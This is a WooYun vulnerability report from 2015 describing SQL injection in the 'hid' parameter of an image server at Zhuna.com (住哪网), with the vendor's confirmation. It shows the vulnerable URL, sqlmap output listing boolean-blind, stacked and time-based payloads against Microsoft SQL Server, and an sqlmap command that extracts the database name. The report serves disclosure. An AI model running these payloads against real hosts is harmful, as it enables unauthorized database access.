当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101428

漏洞标题:住哪网某分站SQL注入二

相关厂商:住哪网

漏洞作者: D_in

提交时间:2015-03-17 11:51

修复时间:2015-05-01 12:02

公开时间:2015-05-01 12:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-17: 细节已通知厂商并且等待厂商处理中
2015-03-17: 厂商已经确认,细节仅向厂商公开
2015-03-27: 细节向核心白帽子及相关领域专家公开
2015-04-06: 细节向普通白帽子公开
2015-04-16: 细节向实习白帽子公开
2015-05-01: 细节向公众公开

简要描述:

住哪网某分站sql注入2

详细说明:

注入链接:
http://tp1.znimg.com/v5/images/map/images.php?hid=152589
如图可以看出,这是住哪网的图片服务器

1.png

GET parameter 'hid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection points with a total of 60 HTTP(s) requests:
---
Place: GET
Parameter: hid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: hid=152589 AND 5496=5496
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: hid=152589; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: hid=152589 WAITFOR DELAY '0:0:5'--
---
[23:22:26] [INFO] testing Microsoft SQL Server
[23:22:27] [INFO] confirming Microsoft SQL Server
[23:22:33] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2008
[23:22:33] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 1 times, 500 (Internal Server Error) - 53 times
[23:22:33] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/tp1.znimg.com'


漏洞证明:

当前数据库名
sqlmap -u http://tp1.znimg.com/v5/images/map/images.php?hid=152589 --current-db

2.png

修复方案:

版权声明:转载请注明来源 D_in@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-17 12:01

厂商回复:

非常感谢您反馈的信息,相关问题已由技术处理。

最新状态:

暂无